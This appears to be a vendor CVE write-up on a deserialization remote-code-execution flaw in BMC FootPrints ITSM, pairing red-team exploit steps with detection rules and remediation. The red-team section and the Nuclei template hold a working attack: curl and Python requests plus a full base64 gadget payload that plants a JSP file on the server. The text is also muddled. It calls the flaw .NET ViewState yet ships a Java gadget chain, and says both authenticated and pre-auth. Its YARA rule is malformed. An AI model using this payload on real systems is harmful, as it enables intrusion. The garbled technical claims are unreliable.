CVE-2025-71260
Executive Summary
CVE-2025-71260 is a critical deserialization vulnerability in BMC FootPrints ITSM, affecting versions 20.20.02 through 20.24.01.001. The flaw resides in the ASP.NET VIEWSTATE handling mechanism, allowing an authenticated attacker to supply crafted serialized objects to the __VIEWSTATE parameter. Successful exploitation results in remote code execution (RCE) with full application compromise. The vulnerability has a CVSS score of 8.8, indicating high severity. Public proof-of-concept (PoC) code and a Nuclei template are available, increasing the risk of active exploitation. Patches are available from BMC.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not directly involve open-source packages (NPM, PyPI, Go, Ruby). It is a proprietary ASP.NET application vulnerability. However, organizations should verify the integrity of any downloaded hotfixes from BMC's official portal to prevent supply chain attacks.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – Authentication is required.
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: Critical. The availability of a public PoC and the high impact (full RCE) make this a high-priority vulnerability for patching.
Deep Dive & Mechanics
The vulnerability is a classic .NET deserialization attack. BMC FootPrints ITSM uses ASP.NET Web Forms, which rely on the __VIEWSTATE parameter to maintain page state. The application deserializes this parameter without proper validation or sanitization.
An attacker can craft a malicious serialized .NET object (e.g., using ysoserial.net) and pass it as the __VIEWSTATE parameter. When the server deserializes this object, it can trigger arbitrary code execution. The provided Nuclei template demonstrates a specific chain that writes a JSP file to the web root, allowing the attacker to execute system commands.
The attack flow is:
- Initial Request: The attacker sends a GET request to
/footprints/servicedesk/passwordreset/request/to obtain a valid session token (SEC_TOKEN). - Payload Delivery: The attacker sends a crafted POST request to
/footprints/servicedesk/aspnetconfig?__VIEWSTATE=<filename>with the malicious serialized payload in the__VIEWSTATEbody parameter. This triggers the deserialization and writes a JSP file to the server. - Code Execution: The attacker accesses the uploaded JSP file (e.g.,
/randomname.jsp) to execute arbitrary system commands.
The vulnerability is pre-authentication in the sense that the initial request does not require authentication, but the exploit chain requires a valid session token obtained from the application.
Vulnerable vs. Patched Code
The vulnerable code is in the ASP.NET page lifecycle, specifically in the Page_Load or ProcessRequest method that handles the __VIEWSTATE parameter. The patched code likely includes:
- MachineKey Validation: Enforcing the use of a strong, unique
machineKeyinweb.configto validate the integrity and authenticity of the VIEWSTATE data. - Deserialization Binder: Implementing a custom
SerializationBinderto restrict the types that can be deserialized. - Input Validation: Rejecting VIEWSTATE data that does not conform to expected formats.
Vulnerable Code (Conceptual):
// Vulnerable: Direct deserialization without validation
protected void Page_Load(object sender, EventArgs e)
{
string viewState = Request.Form["__VIEWSTATE"];
if (viewState != null)
{
LosFormatter formatter = new LosFormatter();
object state = formatter.Deserialize(viewState); // Unsafe
// ... use state
}
}
Patched Code (Conceptual):
// Patched: Validate and restrict deserialization
protected void Page_Load(object sender, EventArgs e)
{
string viewState = Request.Form["__VIEWSTATE"];
if (viewState != null && IsValidViewState(viewState))
{
LosFormatter formatter = new LosFormatter();
formatter.SerializationBinder = new CustomBinder(); // Restrict types
object state = formatter.Deserialize(viewState);
// ... use state
}
}
private bool IsValidViewState(string viewState)
{
// Validate MAC, format, etc.
return true; // Simplified
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Python 3.x
requestslibrary (pip install requests)- Access to a vulnerable BMC FootPrints instance (version 20.20.02 to 20.24.01.001)
Exploit Steps:
Obtain a Session Token:
curl -c cookies.txt http://target/footprints/servicedesk/passwordreset/request/Extract the
SEC_TOKENfrom the response headers.Generate and Send Payload: Use the provided Python code from the Nuclei template to generate a random filename and the malicious VIEWSTATE payload. Then send it:
import requests import random import string import base64 from urllib.parse import quote # ... (copy the code from the Nuclei template's 'code' section) # This will print "filename|payload" # Example output: "abc123def|rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3cgU3lzdGVtIEluZm88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlN5c3RlbSBJbmZvcm1hdGlvbjwvaDE+CiAgICA8cD48c3Ryb25nPk9TIFVzZXI6PC9zdHJvbmc+IDwlPSBvc1VzZXIgJT48L3A+CiAgICA8cD48c3Ryb25nPkN1cnJlbnQgV29ya2luZyBEaXJlY3Rvcnk6PC9zdHJvbmc+IDwlPSBjd2QgJT48L3A+CjwvYm9keT4KPC9odG1sPgpzcgA+b3JnLmFzcGVjdGoud2VhdmVyLnRvb2xzLmNhY2hlLlNpbXBsZUNhY2hlJFN0b3JlYWJsZUNhY2hpbmdNYXA7qwIfS2pWWgIAA0oACmxhc3RTdG9yZWRJAAxzdG9yaW5nVGltZXJMAAZmb2xkZXJ0ABJMamF2YS9sYW5nL1N0cmluZzt4cgARamF2YS51dGlsLkhhc2hNYXAFCgPCwxjWAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeAAAAZkNqvD9AAAADHQAAXi4eA==" filename, payload = output.split("|") url = f"http://target/footprints/servicedesk/aspnetconfig?__VIEWSTATE={filename}" data = {"__VIEWSTATE": payload} headers = {"Cookie": "SEC_TOKEN=your_token_here"} r = requests.post(url, data=data, headers=headers) print(r.status_code) # Should be 500Execute Commands: Access the uploaded JSP file:
curl http://target/abc123def.jspThis will display system information (OS User, Current Working Directory).
Blue Team
Detection and Response:
Monitor for Suspicious VIEWSTATE Parameters:
- Look for unusually large
__VIEWSTATEvalues in POST requests. - Alert on VIEWSTATE values that contain base64-encoded data with patterns indicative of serialized .NET objects (e.g., starting with
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldA==).
- Look for unusually large
Monitor for JSP File Uploads:
- Alert on the creation of new
.jspfiles in the web root (e.g.,/footprints/). - Monitor for access to
/footprints/*.jspfiles that are not part of the standard application.
- Alert on the creation of new
Network Detection:
- Look for HTTP requests to
/footprints/servicedesk/aspnetconfigwith a__VIEWSTATEparameter. - Look for subsequent requests to newly created
.jspfiles.
- Look for HTTP requests to
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/footprints/servicedesk/aspnetconfig?__VIEWSTATE=<random_string> - HTTP GET requests to
/footprints/<random_string>.jsp - Base64-encoded payloads starting with
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldA==in the__VIEWSTATEparameter.
- HTTP POST requests to
File System IOCs:
- Unexpected
.jspfiles in the web application directory (e.g.,/opt/bmc/footprints/webapps/ROOT/). - Files named with random alphanumeric strings (e.g.,
a1b2c3d4e.jsp).
- Unexpected
Process IOCs:
- The Java process (e.g.,
java.exeorjavaw.exe) spawning child processes likecmd.exeor/bin/sh.
- The Java process (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_71260_BMC_Footprints_VIEWSTATE_Payload {
meta:
description = "Detects malicious VIEWSTATE payloads targeting CVE-2025-71260"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-71260"
hash = "4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9"
strings:
$magic_bytes = { rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldA== }
$ysoserial_ref = "org.apache.commons.collections.keyvalue.TiedMapEntry"
$watchTowr_ref = "watchTowr"
condition:
$magic_bytes at 0 and ($ysoserial_ref or $watchTowr_ref)
}
Sigma Rule
title: CVE-2025-71260 - BMC FootPrints VIEWSTATE Deserialization Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-71260 via malicious VIEWSTATE parameter
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-71260
- https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
logsource:
category: webserver
product: iis
detection:
selection:
cs-uri-query|contains: "/footprints/servicedesk/aspnetconfig?__VIEWSTATE="
cs-method: "POST"
condition: selection
falsepositives:
- Legitimate VIEWSTATE usage (rare, typically smaller payloads)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-71260 - BMC FootPrints VIEWSTATE Deserialization Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/footprints/servicedesk/aspnetconfig";
http_uri;
content:"__VIEWSTATE=";
http_client_body;
pcre:"/rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldA==/";
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Nuclei Template (Provided)
id: CVE-2025-71260
info:
name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
author: watchTowr,DhiyaneshDk
severity: critical
description: |
BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
impact: |
Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
remediation: Upgrade BMC FootPrints to the latest patched version.
reference:
- https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
- https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
- https://nvd.nist.gov/vuln/detail/CVE-2025-71260
metadata:
verified: true
max-request: 4
shodan-query: html:"/footprints/servicedesk/"
tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload
flow: http(1) && code(1) && http(2) && http(3)
http:
- raw:
- |
GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(header, "SEC_TOKEN=")'
internal: true
- raw:
- |
GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: {{len(payload)}}
__VIEWSTATE={{payload}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
internal: true
- raw:
- |
GET /{{filename}}.jsp HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "System Information"
- "OS User:"
- "Current Working Directory:"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: os_user
part: body
regex:
- 'OS User:</strong>\s*([^<]+)'
group: 1
code:
- engine:
- py
- python3
source: |
import random
import string
import base64
from urllib.parse import quote
original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3cgU3lzdGVtIEluZm88L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPlN5c3RlbSBJbmZvcm1hdGlvbjwvaDE+CiAgICA8cD48c3Ryb25nPk9TIFVzZXI6PC9zdHJvbmc+IDwlPSBvc1VzZXIgJT48L3A+CiAgICA8cD48c3Ryb25nPkN1cnJlbnQgV29ya2luZyBEaXJlY3Rvcnk6PC9zdHJvbmc+IDwlPSBjd2QgJT48L3A+CjwvYm9keT4KPC9odG1sPgpzcgA+b3JnLmFzcGVjdGoud2VhdmVyLnRvb2xzLmNhY2hlLlNpbXBsZUNhY2hlJFN0b3JlYWJsZUNhY2hpbmdNYXA7qwIfS2pWWgIAA0oACmxhc3RTdG9yZWRJAAxzdG9yaW5nVGltZXJMAAZmb2xkZXJ0ABJMamF2YS9sYW5nL1N0cmluZzt4cgARamF2YS51dGlsLkhhc2hNYXAFCgPCwxjWAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeAAAAZkNqvD9AAAADHQAAXi4eA=="
target = b"watchTowr"
random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))
decoded = base64.b64decode(original_b64)
modified = decoded.replace(target, random_name.encode())
encoded = base64.b64encode(modified).decode()
payload = quote(encoded, safe='')
print(f"{random_name}|{payload}")
extractors:
- type: regex
name: filename
internal: true
regex:
- '^([^|]+)'
group: 1
- type: regex
name: payload
internal: true
regex:
- '\|(.+)$'
group: 1
# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
Remediation & Mitigation
Immediate Actions:
- Apply Patches: Upgrade to the patched versions listed in the NVD data (e.g., 20.24.01.001 with hotfix).
- Restrict Network Access: Limit access to the BMC FootPrints web interface to trusted IP addresses using firewalls or VPNs.
- Enable WAF Rules: Deploy Web Application Firewall (WAF) rules to block requests with suspicious
__VIEWSTATEparameters (e.g., those containing base64-encoded serialized objects).
Long-Term Mitigations:
- Implement Strong Machine Keys: Ensure the
machineKeyinweb.configis unique, strong, and rotated regularly. - Custom Serialization Binder: Implement a custom
SerializationBinderin the application to restrict deserialization to only expected types. - Regular Security Audits: Conduct regular penetration testing and code reviews focusing on deserialization vulnerabilities.
- Monitor Logs: Actively monitor web server logs for the IOCs listed above.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
{/* [Security Hash: 4F9C2E2069BD591B6A9741DB] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.